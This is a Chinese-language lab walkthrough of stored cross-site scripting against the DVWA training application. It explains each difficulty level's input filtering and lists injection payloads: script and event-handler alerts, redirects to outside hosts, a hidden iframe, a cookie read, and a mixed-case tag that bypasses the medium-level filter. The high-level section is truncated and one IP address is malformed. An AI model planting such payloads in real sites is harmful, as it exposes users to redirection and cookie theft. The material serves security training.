xss之存储型

1.存储型xss原理

xss之存储型存储型xss是hacker向服务器注入一段js代码,代码存储到服务器的数据库中,每当用户访问服务器当中带有js代码的数据时,服务器将响应用户,返回给用户一个带有js代码页面

2.xss存储型low级演示

1.将DVWA级别设置为低级

xss之存储型

分析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后$message使用mysql_real_escape_string函数转义SQL语句中的特殊字符,使用stripslashes函数过滤掉”\”,对$name参数中使用mysql_real_escape_string函数转义SQL语句中的特殊字符

xss之存储型2.从上面的代码可以看到,没有防御XSS漏洞,只防御了SQL注入漏洞
尝试一般的XSS攻击

在message栏中测试:

<script>alert('x')</script>

<body onload=alert('sss')>

<a href=http://www.baidu.com>clock</a>

<a href='' onclick=alert('xss')>click</a>

3.重定向:

<script>window.location=’http://www.baidu.com’</script>

<script>window.location=’http://192.168.10.141’</script>

<iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>

4.获取cookie:

<script>alert(document.cookie)</script>

3.xss存储型modium级演示

1设置DVWA难度为中级
分析源代码,可以看到对$message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过

xss之存储型2.绕过DVWA medium级别

<Script>alert('x')</script>

<body onload=alert('xss')>

<a href='' onclick=alert('xss')>click</a>

4.xss存储型high级演示

1.分析源码,可以看到相比较中级而言,高级对$nam参数多了对

<body onload=alert('xss')>

<a href='' onclick=alert('xss')>click</a>

5.xss存储型Impossible级

1.分析源码可以看到,对两个参数都做了html实体转义,无法利用xss

xss之存储型